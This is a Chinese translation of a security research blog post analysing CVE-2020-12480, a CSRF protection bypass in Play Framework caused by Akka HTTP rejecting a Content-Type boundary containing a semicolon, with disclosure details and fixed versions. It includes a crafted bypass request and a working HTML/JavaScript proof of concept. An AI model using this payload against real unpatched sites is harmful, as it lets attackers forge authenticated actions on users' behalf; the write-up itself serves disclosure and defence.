Play框架CSRF保护绕过漏洞深度解析

本文详细分析了Play框架中一个关键的CSRF保护绕过漏洞(CVE-2020-12480),探讨了其根本原因在于对multipart/form-data边界值的解析缺陷,攻击者可通过精心构造的Content-Type头实现完全绕过。

CSRF Protection Bypass in Play Framework

2020年8月20日 - 作者:Luca Carettoni

这篇博客文章展示了我们在客户 engagement 期间发现的 Play 框架中的一个漏洞。该问题允许在特定配置下完全绕过跨站请求伪造(CSRF)保护。

根据官方描述,Play Framework 是一个用于 Java 和 Scala 的高性能 Web 框架。它构建在 Akka 之上,Akka 是一个用于构建高度并发、分布式和弹性消息驱动应用程序的工具包。

Play 是一个广泛使用的框架,部署在大小组织的 Web 平台上,例如 Verizon、Walmart、The Guardian、LinkedIn、Samsung 等许多公司。

传统的反 CSRF 机制

在框架的旧版本中,CSRF 保护是通过一个不安全的基线机制提供的 - 即使 HTTP 请求中不存在 CSRF 令牌。

该机制基于简单请求(Simple Requests)和预检请求(Preflighted Requests)之间的基本差异。让我们深入了解这些细节。

简单请求有严格的规则集。只要遵循这些规则,用户代理(例如浏览器)就不会发出 OPTIONS 请求,即使这是通过 XMLHttpRequest 发出的。所有规则和细节可以在 Mozilla 开发者页面查看,虽然我们主要关注 Content-Type 规则集。

简单请求的 Content-Type 头可以包含以下三个值之一:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

如果您指定不同的 Content-Type,例如 application/json,则浏览器将发送 OPTIONS 请求以验证 Web 服务器是否允许此类请求。

现在我们理解了预检请求和简单请求之间的区别,我们可以继续了解 Play 过去如何保护免受 CSRF 攻击。

在框架的旧版本中(直到版本 2.5 包括),对接收到的 Content-Type 头使用黑名单方法作为 CSRF 预防机制。

在 2.8.x 迁移指南中,我们可以看到用户如何恢复 Play 的旧默认行为(如果遗留系统或其他依赖项需要):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
application.conf
play.filters.csrf {
  header {
    bypassHeaders {
      X-Requested-With = "*"
      Csrf-Token = "nocheck"
    }
    protectHeaders = null
  }
  bypassCorsTrustedOrigins = false
  method {
    whiteList = []
    blackList = ["POST"]
  }
  contentType.blackList = ["application/x-www-form-urlencoded", "multipart/form-data", "text/plain"]
}

在上面的代码片段中,我们可以看到旧保护的核心。contentType.blackList 设置包含三个值,这些值与"简单请求"的内容类型相同。这被认为是有效的(虽然不理想)保护,因为可以防止以下场景:

  • attacker.com 嵌入一个 <form> 元素,该元素发布到 victim.com

    • 表单允许 form-urlencoded、multipart 或 plain,这些都被机制阻止
  • attacker.com 使用 XHR 以 application/json 方式 POST 到 victim.com

    • 由于 application/json 不是"简单请求",将发送 OPTIONS 并且(假设配置正确)CORS 将阻止请求
  • victim.com 使用 XHR 以 application/json 方式 POST 到 victim.com

    • 这按预期工作,因为请求不是跨站点而是在同一域内

因此,您现在有了 CSRF 保护。或者真的吗?

寻找绕过方法

有了这些知识,我们首先想到的是需要让浏览器发出一个不触发预检且不匹配 contentType.blackList 设置中任何值的请求。

我们做的第一件事是映射出我们可以修改而不发送 OPTIONS 预检的请求。这归结为单个请求:Content-Type: multipart/form-data

由于边界值,这立即显得有趣:Content-Type: multipart/form-data; boundary=something

描述可以在这里找到: 对于多部分实体,需要 boundary 指令,该指令由 1 到 70 个字符组成,这些字符来自已知通过电子邮件网关非常强大的字符集,并且不以空格结尾。它用于封装消息多个部分的边界。通常,头边界前面有两个破折号,最终边界末尾附加两个破折号。

因此,我们有一个实际上可以用许多不同字符修改的字段,并且所有这些都由攻击者控制。

现在我们需要深入研究这些头的解析。为了做到这一点,我们需要查看 Akka HTTP,这是 Play 框架的基础。

查看 HttpHeaderParser.scala,我们可以看到这些头总是被解析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
private val alwaysParsedHeaders = Set[String](
    "connection",
    "content-encoding",
    "content-length",
    "content-type",
    "expect",
    "host",
    "sec-websocket-key",
    "sec-websocket-protocol",
    "sec-websocket-version",
    "transfer-encoding",
    "upgrade"
)

解析规则可以在 HeaderParser.scala 中看到,它遵循 RFC 7230 超文本传输协议(HTTP/1.1):消息语法和路由,2014 年 6 月。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def `header-field-value`: Rule1[String] = rule {
FWS ~ clearSB() ~ `field-value` ~ FWS ~ EOI ~ push(sb.toString)
}
def `field-value` = {
var fwsStart = cursor rule {
zeroOrMore(`field-value-chunk`).separatedBy { // zeroOrMore because we need to also accept empty values
run { fwsStart = cursor } ~ FWS ~ &(`field-value-char`) ~ run { if (cursor > fwsStart) sb.append(' ') }
} }
}
def `field-value-chunk` = rule { oneOrMore(`field-value-char` ~ appendSB()) } def `field-value-char` = rule { VCHAR | `obs-text` }
def FWS = rule { zeroOrMore(WSP) ~ zeroOrMore(`obs-fold`) } def `obs-fold` = rule { CRLF ~ oneOrMore(WSP) }

如果不遵守这些解析规则,该值将被设置为 None。完美!这正是我们绕过 CSRF 保护所需要的 - 一个"简单请求",然后将其设置为 None,从而绕过黑名单。

我们如何实际伪造一个被浏览器允许,但被 Akka HTTP 解析代码视为无效的请求?

我们决定让模糊测试来回答这个问题,并很快发现以下转换有效:Content-Type: multipart/form-data; boundary=—some;randomboundaryvalue

边界值内的额外分号可以解决问题并将请求标记为非法:

1
2
3
4
5
POST /count HTTP/1.1
Host: play.local:9000
...
Content-Type: multipart/form-data;boundary=------;---------------------139501139415121
Content-Length: 0

响应:

1
2
3
4
HTTP/1.1 200 OK
...
Content-Type: text/plain; charset=UTF-8 Content-Length: 1
5

这也可以通过查看开发模式下服务器的日志来确认:

1
a.a.ActorSystemImpl - Illegal header: Illegal 'content-type' header: Invalid input 'EOI', exptected tchar, OWS or ws (line 1, column 74): multipart/form-data;boundary=------;---------------------139501139415121

并通过检测 Play 框架代码以打印 Content-Type 的值:

1
Content-Type: None

最后,我们构建了以下概念验证并通知了我们的客户(以及 Play 框架维护者):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
    <body>
        <h1>Play Framework CSRF bypass</h1>
        <button type="button" onclick="poc()">PWN</button> <p id="demo"></p>
        <script>
        function poc() {
            var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    document.getElementById("demo").innerHTML = this.responseText; 
                } 
            };
            xhttp.open("POST", "http://play.local:9000/count", true);
            xhttp.setRequestHeader(
                "Content-type",
                "multipart/form-data; boundary=------;---------------------139501139415121"
            );
            xhttp.withCredentials = true;
            xhttp.send("");
        }
        </script>
    </body>
</html>

致谢与披露

该漏洞由 Kevin Joensen 发现,并于 2020 年 4 月 24 日通过 security@playframework.com 报告给 Play 框架。该问题已在 Play 2.8.2 和 2.7.5 中修复。CVE-2020-12480 和所有详细信息已于 2020 年 8 月 10 日由供应商发布。感谢 Lightbend 的 James Roper 提供的协助。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计